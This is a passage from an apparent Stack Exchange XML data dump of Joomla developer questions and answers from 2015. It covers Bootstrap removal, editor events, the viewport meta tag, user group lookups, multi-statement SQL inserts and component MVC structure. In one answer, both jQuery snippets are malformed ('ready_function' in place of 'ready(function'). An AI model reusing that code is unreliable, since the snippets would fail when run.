filters, in admin and site part to find 'framework.bootstrap' in them but I found anything unless in admin part that is not effective for my frontend !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have other or better solution for me&lt;/p&gt;&#xA;" OwnerUserId="2098" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-11T09:08:55.343" Title="Detect position of loading Javascript libraries in Joomla frontend?" Tags="|joomla-3.x|javascript|smartsearch|twitter-bootstrap-3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10667" PostTypeId="2" ParentId="4953" CreationDate="2015-07-02T07:10:16.863" Score="3" Body="&lt;p&gt;There are two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Unset the included files from within your template, and then create an override to prevent any module or component you may be using from including them again (not as much work as it sounds).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Use any one of the numerous system plugins that can do this. Personally, I'd recommend this one &lt;a href=&quot;https://github.com/phproberto/plg_sys_mootable&quot; rel=&quot;nofollow&quot;&gt;https://github.com/phproberto/plg_sys_mootable&lt;/a&gt; as it gives full control over when and where to remove files so it can be set to not break front-end editing for example (which if you remove everything will be broken normally).&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option 2 has the ease-of-use advantage but you still have to live with crummy Bootstrap 2.x markup littering your site. Option 1 takes a little more work but means you can remove &lt;em&gt;every trace&lt;/em&gt; of Bootstrap; always my preferred option. See &lt;a href=&quot;http://joomlafuture.com/&quot; rel=&quot;nofollow&quot;&gt;http://joomlafuture.com/&lt;/a&gt; for example code.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-07-02T07:10:16.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10668" PostTypeId="1" AcceptedAnswerId="10669" CreationDate="2015-07-02T08:37:03.020" Score="0" ViewCount="67" Body="&lt;p&gt;I'm wondering if there is an event, in Joomla 3.x with JCE editor, that will trigger when the text inside the editor box is being edited, when creating or editing an article. &#xA;If there isn't an event (which I haven't found), how can I know when there is text being inserted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5508" LastEditorUserId="5508" LastEditDate="2015-07-02T09:34:06.973" LastActivityDate="2015-07-02T09:34:06.973" Title="Joomla text edited event" Tags="|joomla-3.x|joomla-3.3.x|jce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10669" PostTypeId="2" ParentId="10668" CreationDate="2015-07-02T08:50:45.953" Score="0" Body="&lt;p&gt;I don't know if there is a specific event for this, however what you can do is use jQuery to detect a &lt;code&gt;keyup&lt;/code&gt; event on the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, inspect the edit element and get the class or ID. Then your jQuery could be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready_function($){&#xA;    $('textarea').on('keyup', function() {&#xA;       // do something here&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Joomla API to inject this jQuery, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration(&quot;&#xA;    jQuery(document).ready_function($){&#xA;        $('textarea').on('keyup', function() {&#xA;           // do something here&#xA;        });&#xA;    });&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-07-02T09:16:03.990" LastActivityDate="2015-07-02T09:16:03.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostTypeId="2" ParentId="10622" CreationDate="2015-07-02T09:24:18.237" Score="2" Body="&lt;p&gt;Somehow, by just adding &lt;code&gt;$headers&lt;/code&gt; to the post call, it now works, so I took out &lt;code&gt;$http-&amp;gt;setOption(CURLOPT_HTTPHEADER, $headers);&lt;/code&gt; and changed the code to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JHttpTransportCurl::isSupported()) {&#xA;&#xA;    $headers = array(&#xA;        'Content-Type' =&amp;gt; 'application/json',&#xA;        'Authorization' =&amp;gt; 'Basic ' . base64_encode($username . &quot;:&quot; . $pass),&#xA;        'X-Auth-Token' =&amp;gt; urlencode($auth_token),&#xA;        'Content-Length' =&amp;gt; urlencode(strlen($app_xml)),&#xA;    );&#xA;&#xA;    $options = new Joomla\Registry\Registry();&#xA;&#xA;    $http = JHttpFactory::getHttp($options);&#xA;    $http-&amp;gt;setOption(CURLOPT_POST, 1);&#xA;    $http-&amp;gt;setOption(CURLOPT_POSTFIELDS, $app_xml);&#xA;    $http-&amp;gt;setOption(CURLOPT_RETURNTRANSFER, 1);&#xA;    $response = $http-&amp;gt;post($url, $app_xml, $headers);&#xA;&#xA;    # Carry on with saving reference if correct HTTP code is returned&#xA;    if ($response-&amp;gt;code == 200 || $response-&amp;gt;code == 100) {&#xA;        # Do something here, it was a successful call&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-07-02T09:24:18.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10671" PostTypeId="2" ParentId="9033" CreationDate="2015-07-02T09:39:29.743" Score="2" Body="&lt;p&gt;Enable language debug to see what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem could be that your template has language override. So check your &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/template_name/languages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;folder to make sure.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2015-07-02T09:39:29.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10672" PostTypeId="1" AcceptedAnswerId="10673" CreationDate="2015-07-02T10:58:18.800" Score="3" ViewCount="1467" Body="&lt;p&gt;I need to disable the ability of the mobile browsers to zoom in/out for one of the tabs of my main menu. I am running Joomla 2.5. I tried installing the Simple Mobile Detection extension , however this ruined all my tabs URLs. So is there any way to set the meta viewport tag in Joomla ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="5429" LastActivityDate="2015-07-02T12:21:35.037" Title="Set meta viewport tag for Joomla 2.5" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostTypeId="2" ParentId="10672" CreationDate="2015-07-02T11:02:00.800" Score="2" Body="&lt;p&gt;You can do this using Joomla built in &lt;code&gt;setMetaData&lt;/code&gt; function, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;setMetaData('viewport', 'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will set the scale to 100% (default) and disable the ability to zoom in&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-02T11:02:00.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10674" PostTypeId="2" ParentId="10672" CreationDate="2015-07-02T12:21:35.037" Score="4" Body="&lt;p&gt;As @lodder answered you &lt;em&gt;can&lt;/em&gt; set this meta to prevent zooming, and that is the correct way to do it, but &lt;strong&gt;you shouldn't do this&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling native browser accessibility functions is a really bad idea, a clear ‘F%$K YOU!’ to your users. No-one &lt;em&gt;needs&lt;/em&gt; to disable browser zoom. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not disable mouse clicks as well? Exactly. It's not very friendly to deliberately hobble a users device is it? If your design breaks when a user zooms, you should &lt;em&gt;fix your design&lt;/em&gt;, not cripple standard user interactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the Accessibility Project has to say about this (mis)usage of the viewport meta: &lt;a href=&quot;http://a11yproject.com/posts/never-use-maximum-scale/&quot; rel=&quot;nofollow&quot;&gt;Never use maximum scale=1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This quote, from &lt;a href=&quot;http://bradfrost.com/blog/post/fuck-you/&quot; rel=&quot;nofollow&quot;&gt;an article&lt;/a&gt; by &lt;a href=&quot;http://bradfrost.com/&quot; rel=&quot;nofollow&quot;&gt;Brad Frost&lt;/a&gt;, puts a more human, and more direct, face on it I think:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Next time you find yourself intentionally depriving someone an experience—to acquire knowledge, to complete a task, to do something online that can make their life even just a little better—picture yourself standing in front of that person in real life, looking them square in the eyes, then firmly and definitively saying “Fuck you.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bottom line is some people &lt;em&gt;rely&lt;/em&gt; on browser zoom, and even those that don't expect it to be there. Don't take that away please.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-07-02T12:21:35.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10675" PostTypeId="2" ParentId="9033" CreationDate="2015-07-02T12:32:46.783" Score="1" Body="&lt;p&gt;Any typo, a missing &lt;code&gt;“&lt;/code&gt; or an unescaped link for example, will mean the whole file is ignored so you should check that. You can check if the file is being picked up, or not, with just a single entry of course. If it does work with a single simple entry then you have a typo somewhere in your full version.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-07-02T12:32:46.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostTypeId="1" AcceptedAnswerId="10678" CreationDate="2015-07-02T15:00:31.190" Score="6" ViewCount="4453" Body="&lt;p&gt;I am using JM3.4. I added some customized user groups.&#xA;And I added a field let user select user group when registration.&#xA;I am going to hack following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the default new user group, Registered if not specified.&#xA;$system = $params-&amp;gt;get('new_usertype', 2);&#xA;&#xA;$this-&amp;gt;data-&amp;gt;groups[] = $system;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am going to check what user selected and override the system configured group. So I added following code between previous two lines of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!strcmp($this-&amp;gt;data-&amp;gt;role, &quot;group0&quot;))&#xA;{&#xA;    $system = 10;&#xA;}&#xA;elseif (!strcmp($this-&amp;gt;data-&amp;gt;role, &quot;group1&quot;))&#xA;{&#xA;    $system = 11;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how can I not hardcoding group id here, instead of 10,11, it should be something like: &lt;code&gt;getGroupID('group0')&lt;/code&gt;, &lt;code&gt;getGroupID('group1')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5500" LastActivityDate="2019-11-13T12:01:19.840" Title="How to get user group id by group name?" Tags="|user-groups|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10677" PostTypeId="1" AcceptedAnswerId="10692" CreationDate="2015-07-02T19:50:49.120" Score="3" ViewCount="1206" Body="&lt;p&gt;How can I do multiple inserts like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;INSERT INTO `table` (`fied1`, `field2`, `field3`) VALUES ('one', 'two', 'three'),('four', 'five', 'six');&#xA;INSERT INTO `table` (`fied1`, `field2`, `field3`) VALUES ('seven', 'eight', 'nine'),('ten', 'eleven', 'twelve');&quot;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't split this query because I'm getting it from large text file.&lt;/p&gt;&#xA;" OwnerUserId="5509" LastEditorUserId="12352" LastEditDate="2021-05-05T03:58:49.000" LastActivityDate="2021-05-05T03:58:49.000" Title="Multiple INSERTS in one query Joomla" Tags="|joomla-2.5|mysql|sql|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10678" PostTypeId="2" ParentId="10676" CreationDate="2015-07-03T03:34:19.460" Score="4" Body="&lt;p&gt;I'm not sure if Joomla has a better way to do this, but you can create your own function and query the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getGroupId($groupName){&#xA;    $db = JFactory::getDBO();&#xA;    $db-&amp;gt;setQuery($db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('*')&#xA;        -&amp;gt;from(&quot;#__usergroups&quot;)&#xA;    );&#xA;    $groups = $db-&amp;gt;loadRowList();&#xA;    foreach ($groups as $group) {&#xA;        if ($group[4] == $groupName) // $group[4] holds the name of current group&#xA;            return $group[0];        // $group[0] holds group ID&#xA;    }&#xA;    return false; // return false if group name not found&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use the following to get the ID of a group based on the name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo (getGroupId(&quot;Administrator&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will echo the ID of the group called &quot;Administrator&quot;, if it exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$groups&lt;/code&gt; will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; 1&#xA;            [1] =&amp;gt; 0&#xA;            [2] =&amp;gt; 1&#xA;            [3] =&amp;gt; 22&#xA;            [4] =&amp;gt; Public&#xA;        )&#xA;&#xA;    [1] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; 2&#xA;            [1] =&amp;gt; 1&#xA;            [2] =&amp;gt; 8&#xA;            [3] =&amp;gt; 19&#xA;            [4] =&amp;gt; Registered&#xA;        )&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might not help in your case, but &lt;code&gt;JUserHelper&lt;/code&gt; has a method called &lt;code&gt;getUserGroups&lt;/code&gt; (&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JUserHelper.html#method_getUserGroups&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JUserHelper.html#method_getUserGroups&lt;/a&gt;) that will list all groups a user belongs to. Usage: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getUserGroups(integer $userId) : array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-03T03:34:19.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostTypeId="2" ParentId="10654" CreationDate="2015-07-03T04:27:30.983" Score="1" Body="&lt;p&gt;Most commercial template providers offer one or more templates for free, as a way for you to test how the framework and template settings work. These are completely safe to use, and as far as I know they can be used for commercial sites too, without any restrictions. Some template clubs (&lt;a href=&quot;http://www.joomlashine.com/free-joomla-templates.html&quot; rel=&quot;nofollow&quot;&gt;JoomlaShine&lt;/a&gt;, for instance) has most of their templates available for free, but with limited functionality (fewer back-end settings and no responsive design).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I'd recommend &lt;a href=&quot;http://joomla24.com&quot; rel=&quot;nofollow&quot;&gt;Joomla24.com&lt;/a&gt;, they offer more than 4000 free Joomla templates, most of them from well-known template providers. The &lt;a href=&quot;http://www.joomla24.com/index.php?set_albumName=album10&amp;amp;option=com_gallery&amp;amp;Itemid=6&amp;amp;include=view_album.php&quot; rel=&quot;nofollow&quot;&gt;Template Gallery&lt;/a&gt; is a good place to start looking. Just make sure you read through the terms of use, as many of the templates can only be used for non-commercial sites, or they do not allow you to remove the back-link to the author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;br&gt;&#xA;Commercial templates (illegal copies) are also available for download on certain sites. As others have mentioned, these are &lt;em&gt;guaranteed&lt;/em&gt; to contain hidden back-links and malicious code.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-03T04:27:30.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10680" PostTypeId="2" ParentId="10677" CreationDate="2015-07-03T04:51:18.000" Score="0" Body="&lt;p&gt;&lt;strong&gt;Try this,&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDBO();  &#xA;$query = &quot;INSERT INTO `table` (`field1`,`field2`,`field3`)  &#xA;VALUES   &#xA;('one', 'two', 'three'),  &#xA;('four', 'five', 'six'),  &#xA;('seven', 'eight', 'nine'),&#xA;('ten', 'eleven', 'twelve')&#xA;&quot;;  &#xA;$db-&amp;gt;setQuery($query);  &#xA;$db-&amp;gt;query(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-07-03T04:51:18.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10682" PostTypeId="2" ParentId="10677" CreationDate="2015-07-03T06:21:34.023" Score="3" Body="&lt;p&gt;You can split the sql and run the statements using below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function insertSql($filename){&#xA;        $db = JFactory::getDbo();&#xA;        $status = true;&#xA;&#xA;        //parsing of SQL file &#xA;        $sql_file_path = JPATH_ADMINISTRATOR.'/components/xxx/sql/install/mysql/'.$filename.'.sql';&#xA;        $queries = JDatabaseDriver::splitSql(file_get_contents($sql_file_path));&#xA;        foreach ($queries as $query)&#xA;        {&#xA;            $query = trim($query);&#xA;            if ($query != '' &amp;amp;&amp;amp; $query{0} != '#')&#xA;            {&#xA;                $db-&amp;gt;setQuery($query);&#xA;                if (!$db-&amp;gt;execute())&#xA;                {&#xA;                    $application-&amp;gt;enqueueMessage(JText::sprintf('JLIB_INSTALLER_ERROR_SQL_ERROR', $db-&amp;gt;stderr(true)), 'error');&#xA;                    $status  = false;&#xA;                }&#xA;            }&#xA;        }&#xA;        return $status;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2015-07-03T06:21:34.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10686" PostTypeId="1" CreationDate="2015-07-03T10:07:20.230" Score="4" ViewCount="149" Body="&lt;p&gt;I added several domain in one joomla website by using VirtualDomains extension.&#xA;All the domain are in same Joomla site but pointing to different categories.&#xA;I need to know how could it be possible to share the session between these domains ?? I mean when a user is do login inside DOMAIN1 will be remain logged in DOMAIN2,3 and goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is plugins such JSM, but I think there's very easy and better solution because it's not multisites but only multidomains in one joomla core.&#xA;Would you please help me with your comments. Thanks in advance&#xA;Just mention that I don't want to use 3rd party extensions but only codes inside joomla or its features.&lt;/p&gt;&#xA;" OwnerUserId="5513" LastActivityDate="2016-12-09T10:20:16.677" Title="Share joomla login in multidomains" Tags="|joomla-3.x|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10689" PostTypeId="2" ParentId="10676" CreationDate="2015-07-03T14:39:41.187" Score="2" Body="&lt;p&gt;Please avoid framework changes. This will lead you to system/functionality break after update. Create a User type plugin and work in it on event called onUserAfterSave.That way you will be update-safe. Add proper parameter fields(group0 and group1) to plugin XML file. Plugins have their own configuration so you cant get those parameters every time you need them and change them in UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a complete guide to plugins events:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events#User&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events#User&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here you can find plugin example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a field type you want to use as parameter in plugin configuration&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Usergroup_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Usergroup_form_field_type&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2015-07-03T15:21:00.563" LastActivityDate="2015-07-03T15:21:00.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10690" PostTypeId="1" AcceptedAnswerId="10696" CreationDate="2015-07-03T14:42:11.023" Score="0" ViewCount="670" Body="&lt;p&gt;I written a module with a small form and this can submit every registred user, i insert this data in a extra table named: &lt;em&gt;#__trackitems&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a component with 1 view &quot;tracks&quot;, the component is successfully added in navigation as menu item, i want now to get simple list with items from the table &lt;em&gt;#__trackitems&lt;/em&gt;, view file is created and i see my static html, but what have i to do in model and controller? I tried more times to see how it is done in &quot;com_content, com_k2 and com_weblinks&quot; but i really not understand how to continue?&lt;/p&gt;&#xA;" OwnerUserId="5514" LastActivityDate="2017-07-11T15:42:49.590" Title="Frontend part of component development question?" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostTypeId="2" ParentId="10665" CreationDate="2015-07-03T14:57:49.457" Score="1" Body="&lt;p&gt;I think you mean:&lt;code&gt;JHTML::_('bootstrap.framework')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to disable bootstrap anywhere except back-end. Add this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if( JFactory::getApplication()-&amp;gt;isSite() ) return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;at the begining of function &lt;code&gt;framework&lt;/code&gt; in file: &lt;code&gt;/libraries/cms/html/bootstrap.php&lt;/code&gt;. This is not best solution but will work for any extension that use JHTML for loading boostrap (well almost all of them do).&lt;/p&gt;&#xA;&lt;h3&gt;Tracking where bootstrap has been included&lt;/h3&gt;&#xA;&lt;p&gt;You can use my solution to track all places where this function was called. Just create global array and put there data from &lt;code&gt;debug_backtrace()&lt;/code&gt; called inside &lt;code&gt;/libraries/cms/html/bootstrap.php&lt;/code&gt;. This will give you complete call chain for each bootstrap include. At the end of system execution (so probably in template) you can print that array.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-12T09:04:03.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10692" PostTypeId="2" ParentId="10677" CreationDate="2015-07-03T15:16:08.120" Score="3" Body="&lt;p&gt;Use &lt;code&gt;JDatabaseDriver::splitSql($query)&lt;/code&gt; so your function will look like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $query = &quot;INSERT INTO `table` (`fied1`, `field2`, `field3`) VALUES ('one', 'two', 'three'),('four', 'five', 'six');&#xA;    INSERT INTO `table` (`fied1`, `field2`, `field3`) VALUES ('seven', 'eight', 'nine'),('ten', 'eleven', 'twelve');&quot;;&#xA;    $db = JFactory::getDbo();&#xA;    $queries = $db-&amp;gt;splitSql($query);&#xA;    foreach( $queries AS $sql ) {&#xA;        $db-&amp;gt;setQuery($sql);&#xA;        $db-&amp;gt;execute();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-03T15:16:08.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostTypeId="1" AcceptedAnswerId="10694" CreationDate="2015-07-03T15:24:40.060" Score="2" ViewCount="544" Body="&lt;p&gt;I added following code in onUserBeforeSave of user profile plugin(plugins/user/profile/profile.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($isnew)&#xA;    {&#xA;        if (!strcasecmp($data['role'], 'group0'))&#xA;        {&#xA;            $data['groups'] = array(10);&#xA;        }&#xA;        elseif (!strcasecmp($data['role'], 'group1'))&#xA;        {&#xA;            $data['groups'] = array(11);&#xA;        }&#xA;&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(print_r($user, true));&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(print_r($data, true));       &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The print_r results show the $data has been modified successfully, but in the end, the new user added to database still in old group, which is 'Registered'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what's the reason for this. And how can I achieve overriding default user groups. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5500" LastActivityDate="2015-07-03T15:33:47.527" Title="Changing user group in onUserBeforeSave of user profile plugin doesn't work" Tags="|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10694" PostTypeId="2" ParentId="10693" CreationDate="2015-07-03T15:33:47.527" Score="2" Body="&lt;p&gt;You can't edit user data in &lt;code&gt;onUserBeforeSave&lt;/code&gt; and &lt;code&gt;onUserAfterSave&lt;/code&gt; event. This is just a copy of what will/was saved. It would be better to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use &lt;code&gt;onUserAfterSave&lt;/code&gt; event&lt;/li&gt;&#xA;&lt;li&gt;get user object after save &lt;code&gt;$user = JFactory::getUser($user_id)&lt;/code&gt; where &lt;code&gt;$user_id&lt;/code&gt; is id of a user you want to modify&lt;/li&gt;&#xA;&lt;li&gt;modify user groups like this &lt;code&gt;$user-&amp;gt;groups = Array($new_user_group)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;save user &lt;code&gt;$user-&amp;gt;save()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-03T15:33:47.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10695" PostTypeId="2" ParentId="10475" CreationDate="2015-07-03T15:43:45.997" Score="1" Body="&lt;p&gt;First of all you build your query the wrong way. It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('e.*, c.Description AS Cell');&#xA;$query-&amp;gt;from('Edms AS e');&#xA;$query-&amp;gt;leftJoin('Cells AS c ON c.ID=e.Cell_ID');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-03T15:43:45.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10696" PostTypeId="2" ParentId="10690" CreationDate="2015-07-03T16:00:01.283" Score="1" Body="&lt;p&gt;You should:&#xA;Create model &lt;code&gt;Tracks&lt;/code&gt; in &lt;code&gt;models&lt;/code&gt; folder in your component containing a class &lt;code&gt;YOURCOMPONENTModelYOURVIEW&lt;/code&gt; for example &lt;code&gt;TracksViewItems&lt;/code&gt;. In this class add a public function called &lt;code&gt;getItems()&lt;/code&gt;. Add all the code so this function will return array of items from your database table. Then in your &lt;code&gt;view.html.php&lt;/code&gt; in &lt;code&gt;display()&lt;/code&gt; function use this &lt;code&gt;$this-&amp;gt;items = $this-&amp;gt;get('Items')&lt;/code&gt; to get a list of items from database. Now you can use &lt;code&gt;$this-&amp;gt;items&lt;/code&gt; property in your &lt;code&gt;default.php&lt;/code&gt; of your view to get all the items.&lt;/p&gt;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&lt;p&gt;If your component is called &lt;code&gt;com_tracks&lt;/code&gt; and view is called &lt;code&gt;list&lt;/code&gt; your model should be in: &lt;code&gt;/components/com_tracks/models/list.php&lt;/code&gt;. Class name should be &lt;code&gt;TracksModelList&lt;/code&gt;. Your view should be in &lt;code&gt;/components/com_tracks/views/list/view.html.php&lt;/code&gt; and the view class name should be &lt;code&gt;TracksViewList&lt;/code&gt;. In &lt;code&gt;/components/com_tracks/view/list/tmpl/default.php&lt;/code&gt; you should insert all the code (html/php) for displaying your data from &lt;code&gt;$this-&amp;gt;items&lt;/code&gt; property.&lt;/p&gt;&#xA;&lt;h3&gt;Sample component tutorial:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing a Basic Joomla! component&lt;/a&gt;&lt;/p&gt;&#xA;" 